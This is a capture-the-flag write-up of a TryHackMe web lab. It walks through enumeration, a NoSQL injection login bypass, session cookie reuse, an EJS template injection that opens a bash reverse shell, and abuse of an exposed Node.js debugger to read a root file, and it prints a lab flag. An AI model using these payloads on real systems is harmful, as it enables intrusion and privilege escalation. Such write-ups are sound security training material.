Session Hijacking to Node.js Debugger RCE

Session Hijacking to Node.js Debugger RCE

Exploited a NoSQL injection and session hijacking vulnerability to access a staff console, then used EJS template injection and an exposed Node.js debugger to achieve remote code execution and recover user and root flags.

Vulnerability:Server-Side Template Injection (SSTI)
Platform:TryHackMe
Difficulty:Intermediate
Severity:Critical(9.0–10.0)
Tags:
Remote Code ExecutionNoSQL InjectionSession HijackingExposed Debug InterfacePrivilege Escalation
R
Written by Robert
6 min read

Introduction

A TryHackMe web exploitation challenge involving directory enumeration, NoSQL injection, session hijacking, EJS template injection, and Node.js debugging to achieve code execution.

Reconnaissance & Enumeration

I started with an Nmap service and version scan to identify the target's exposed services:

sh
nmap -sC -sV targetlab-ip

The scan identified two open services:

text
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 
80/tcp open http Node.js (Express middleware)

The web application was running on port 80, making it the primary target for further enumeration.

Nmap Scan

I then used Gobuster to enumerate directories on the web server:

sh
gobuster dir -u http://targetlab-ip/ -w /path/to/wordlist

The scan identified:

text
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
logout               (Status: 302) [Size: 23] [--> /]
staff                (Status: 403) [Size: 1547]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

The /staff endpoint returned 403 Forbidden, indicating that the resource existed but required additional access.

Gobuster Results

NoSQL Injection

I inspected the login request through the browser's Network tab.

The login request was modified to test for NoSQL injection:

text
username=attendant&password[$ne]=x

The modified request successfully authenticated without knowing the valid password.

Login Request

Modified login request containing the NoSQL injection payload.

Session Hijacking

After authentication, I inspected the browser's storage and copied the connect.sid session cookie.

The cookie was then added manually through the browser's cookie storage before refreshing the /staff endpoint.
Captured connect.sid session cookie.

Staff Console

Authenticated access to the staff console after modifying the session cookie.

EJS Template Injection

The staff console provided an option to customise the guest booking-confirmation message using an EJS template.

I tested whether server-side template expressions were being evaluated.

The following payload was used:

sh
<%= global.process.mainModule.require('child_process').execSync('bash -c "bash -i > /dev/tcp/192.168.154.159/4444 0>&1"') %>

A Netcat listener was started on the attacking machine:

sh
nc -lvnp 4444

Submitting the template resulted in a reverse shell.

EJS Payload and Reverse Shell

EJS template payload submitted through the staff console.
Reverse shell received through the Netcat listener.

User Flag

With shell access established, I searched the filesystem for TryHackMe flags:

sh
find / -type f -name "*.txt" -exec grep -H "THM{" {} \; 2>/dev/null

The first flag was found at:

sh
/home/poolside/user.txt
sh
THM{w4rm_s3ss10n_h1j4ck3d}
User Flag

First flag recovered from /home/poolside/user.txt.

Lateral Movement / Privilege Escalation

To continue toward the second flag, I checked listening services:

text
ss -tulpn

A Node.js debugging service was listening locally:

text
127.0.0.1:9229

Port 9229 is commonly used by Node.js for its debugging interface.

Listening Services

Local Node.js debugging service identified on port 9229.

Node.js Debugger

I queried the local debugging endpoint:

text
curl -s http://127.0.0.1:9229/json

The response identified a Node.js process:

text
title: processor.js type: node url: file:///opt/pipelinesvc/telemetry/processor.js

The debugging interface exposed a WebSocket endpoint for the running Node.js process.

Node.js Debug Endpoint

Node.js debugging information returned from port 9229.

I connected to the debugger with:

text
node inspect 127.0.0.1:9229

Inside the debugger, I entered the REPL:

text
repl

I then used the Node.js process to execute a filesystem search:

text
process.getBuiltinModule('child_process').execFileSync('/usr/sbin/debugfs', ['-R', 'cat /root/root.txt', '/dev/nvme0n1p1'], { encoding: 'utf8' })

Connected to the exposed Node.js debugging interface.
Node.js debugger REPL used to execute the debugfs command and recover the root flag.

Root Flag

Attack Path

text
Attack Path
Nmap
  ↓
HTTP Service
  ↓
Gobuster
  ↓
/staff Endpoint
  ↓
NoSQL Injection
  ↓
Session Cookie
  ↓
Staff Console
  ↓
EJS Template Injection
  ↓
Reverse Shell
  ↓
User Flag
  ↓
Node.js Debug Port 9229
  ↓
Debugger REPL
  ↓
Node.js Command Execution
  ↓
Raw Disk Access
  ↓
Root Flag

Key Findings

  • /staff was discoverable despite returning 403.
  • The login functionality was vulnerable to NoSQL injection.
  • Session authentication could be abused through the connect.sid cookie.
  • User-controlled EJS templates allowed server-side code execution.
  • A locally exposed Node.js debugging interface provided another path to code execution.

Conclusion

The TargetLab challenge demonstrated a multi-stage attack chain beginning with web enumeration and NoSQL injection, followed by session hijacking and EJS template injection to obtain shell access.

Further enumeration revealed an exposed local Node.js debugging interface on port 9229, which provided another route to execute commands through the Node.js process.

More Write-ups

Explore more write-ups related to this topic.

Related write-upsView All